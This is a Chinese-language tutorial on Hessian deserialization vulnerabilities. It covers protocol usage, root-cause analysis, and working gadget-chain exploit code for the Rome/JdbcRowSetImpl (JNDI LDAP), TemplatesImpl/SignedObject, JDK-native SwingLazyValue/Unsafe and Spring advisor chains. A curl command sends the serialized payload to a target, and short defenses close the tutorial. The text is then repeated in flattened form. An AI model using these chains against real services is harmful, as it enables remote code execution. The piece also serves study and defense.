Hessian反序列化原理到武器化利用
字数 1252 2025-08-29 08:30:12

Hessian反序列化漏洞原理与武器化利用

0x01 Hessian简介

Hessian是由Caucho公司开发的一种轻量级二进制RPC协议,它定义了自己的序列化规则和通信机制。在实际应用中,Hessian通常通过HTTP传输,相比传统的XML/JSON等文本协议,传输效率更高。

Hessian协议有两个主要版本:

  • Hessian 1.0:初始版本
  • Hessian 2.0:升级版本,优化了序列化效率,性能显著提升

0x02 Hessian基本使用

2.1 自封装调用

依赖配置

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.60</version>
</dependency>

实体类示例

public class Person implements Serializable {
    private String name;
    private int age;
    
    // 构造方法、getter/setter省略
}

序列化与反序列化

// Hessian 1.0
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(person);

HessianInput hessianInput = new HessianInput(byteArrayInputStream);
Person deserializedPerson = (Person) hessianInput.readObject();

// Hessian 2.0
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
Hessian2Input hessianInput = new Hessian2Input(byteArrayInputStream);

2.2 Servlet集成Hessian

服务端实现

@WebServlet(name = "hessian", value = "/hessian")
public class ServiceImpl extends HessianServlet implements Service {
    @Override
    public String getCurrentTime() {
        return "当前时间: " + LocalDateTime.now().format(DateTimeFormatter.ISO_LOCAL_DATE_TIME);
    }
}

客户端调用

HessianProxyFactory factory = new HessianProxyFactory();
Service service = (Service) factory.create(Service.class, "http://localhost:8080/hessian");
System.out.println(service.getCurrentTime());

2.3 Spring集成Hessian

服务接口

public interface HelloHessianService {
    String hello(String name);
}

服务实现

@Service
public class HelloHessianServiceImpl implements HelloHessianService {
    @Override
    public String hello(String name) {
        return "Hello Hessian " + name;
    }
}

服务暴露配置

@Bean(name = "/hessian/helloService")
public HessianServiceExporter hessianServiceExporter() {
    HessianServiceExporter exporter = new HessianServiceExporter();
    exporter.setService(helloHessianService);
    exporter.setServiceInterface(HelloHessianService.class);
    return exporter;
}

0x03 Hessian反序列化漏洞原理分析

3.1 漏洞成因

Hessian反序列化漏洞的核心在于:

  • Hessian在反序列化Map类型数据时,会调用HashMap的put方法
  • put方法内部会调用hashCode/equals方法
  • 如果攻击者构造的恶意类重写了这些方法,就会在反序列化时触发恶意代码

3.2 调用栈分析

  1. HessianInput#readObject 根据输入流的第一个字节判断对象类型
  2. 对于Map类型(标记字节为'M'),进入readMap方法
  3. readMap方法尝试获取对应类型的反序列化器
  4. 如果找不到反序列化器,会创建默认的MapDeserializer
  5. 最终通过map.put(key, value)设置键值对

关键点:

  • Hessian 1.0将所有对象作为Map读取
  • Hessian 2.0使用UnsafeDeserializer处理自定义类型
  • 利用链的起始方法只能是hashCode/equals/compareTo

0x04 典型利用链

4.1 Rome + JdbcRowSetImpl(需要出网)

依赖

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

利用代码

String url = "ldap://127.0.0.1:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap hashMap = MapUtils.makeMap(equalsBean, "1");

// 序列化与反序列化...

4.2 TemplatesImpl + SignedObject(不出网)

利用代码

// 创建恶意TemplatesImpl
TemplatesImpl obj = new TemplatesImpl();
MapUtils.setValue(obj, "_bytecodes", new byte[][]{evilCode});
MapUtils.setValue(obj, "_name", "xxx");
MapUtils.setValue(obj, "_tfactory", new TransformerFactoryImpl());

// 使用SignedObject包装
ToStringBean bean = new ToStringBean(Templates.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, bean);

// 密钥准备
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();

// 创建SignedObject
SignedObject signedObject = new SignedObject(hashMap, keyPair.getPrivate(), Signature.getInstance("DSA"));

// 二次包装
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean1);

// 序列化与反序列化...

4.3 JDK原生利用链(不出网,无依赖)

利用代码

// 使用Unsafe动态加载恶意类
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, 
    int.class, int.class, ClassLoader.class, ProtectionDomain.class);

// 构造SwingLazyValue链
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", 
    new Object[]{invoke, unsafe, new Object[]{className, bytecode, 0, bytecode.length, null, null}});

// 构造UIDefaults触发
UIDefaults uiDefaults = new UIDefaults(new Object[]{"key", swingLazyValue});
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put("a", uiDefaults);

// 序列化与反序列化...

4.4 Spring AbstractBeanFactoryPointcutAdvisor

依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>5.0.0.RELEASE</version>
</dependency>

利用代码

SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources("ldap://127.0.0.1:1389/exploit");

DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor();
advisor1.setAdviceBeanName("ldap://127.0.0.1:1389/exploit");
advisor1.setBeanFactory(beanFactory);

HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(advisor1);
HashMap hashMap = MapUtils.makeMap(targetSource1, "1");

// 序列化与反序列化...

0x05 工具自动化

在实际漏洞利用中,可以封装工具实现自动化:

  1. 支持多种利用链(Rome、XBean、Resin、Spring等)
  2. 输出格式支持:
    • Base64编码
    • Hex编码
    • 序列化文件导出
  3. HTTP请求发送功能

示例curl命令

curl -XPOST --data-binary @hessian.ser http://target/api -H "Content-Type:x-application/hessian"

防御措施

  1. 升级Hessian到最新版本
  2. 实现自定义的SerializerFactory,限制反序列化的类
  3. 使用白名单机制控制可反序列化的类
  4. 网络层面限制敏感端口的出站连接

参考资源

  1. Hessian反序列化原生JDK利用链分析
  2. Hessian反序列化漏洞深入分析
  3. Hessian反序列化漏洞利用实践
  4. Hessian反序列化内存马注入
Hessian反序列化漏洞原理与武器化利用 0x01 Hessian简介 Hessian是由Caucho公司开发的一种轻量级二进制RPC协议,它定义了自己的序列化规则和通信机制。在实际应用中,Hessian通常通过HTTP传输,相比传统的XML/JSON等文本协议,传输效率更高。 Hessian协议有两个主要版本: Hessian 1.0:初始版本 Hessian 2.0:升级版本,优化了序列化效率,性能显著提升 0x02 Hessian基本使用 2.1 自封装调用 依赖配置 : 实体类示例 : 序列化与反序列化 : 2.2 Servlet集成Hessian 服务端实现 : 客户端调用 : 2.3 Spring集成Hessian 服务接口 : 服务实现 : 服务暴露配置 : 0x03 Hessian反序列化漏洞原理分析 3.1 漏洞成因 Hessian反序列化漏洞的核心在于: Hessian在反序列化Map类型数据时,会调用HashMap的put方法 put方法内部会调用hashCode/equals方法 如果攻击者构造的恶意类重写了这些方法,就会在反序列化时触发恶意代码 3.2 调用栈分析 HessianInput#readObject 根据输入流的第一个字节判断对象类型 对于Map类型(标记字节为'M'),进入 readMap 方法 readMap 方法尝试获取对应类型的反序列化器 如果找不到反序列化器,会创建默认的 MapDeserializer 最终通过 map.put(key, value) 设置键值对 关键点: Hessian 1.0将所有对象作为Map读取 Hessian 2.0使用 UnsafeDeserializer 处理自定义类型 利用链的起始方法只能是 hashCode/equals/compareTo 0x04 典型利用链 4.1 Rome + JdbcRowSetImpl(需要出网) 依赖 : 利用代码 : 4.2 TemplatesImpl + SignedObject(不出网) 利用代码 : 4.3 JDK原生利用链(不出网,无依赖) 利用代码 : 4.4 Spring AbstractBeanFactoryPointcutAdvisor 依赖 : 利用代码 : 0x05 工具自动化 在实际漏洞利用中,可以封装工具实现自动化: 支持多种利用链(Rome、XBean、Resin、Spring等) 输出格式支持: Base64编码 Hex编码 序列化文件导出 HTTP请求发送功能 示例curl命令 : 防御措施 升级Hessian到最新版本 实现自定义的 SerializerFactory ,限制反序列化的类 使用白名单机制控制可反序列化的类 网络层面限制敏感端口的出站连接 参考资源 Hessian反序列化原生JDK利用链分析 Hessian反序列化漏洞深入分析 Hessian反序列化漏洞利用实践 Hessian反序列化内存马注入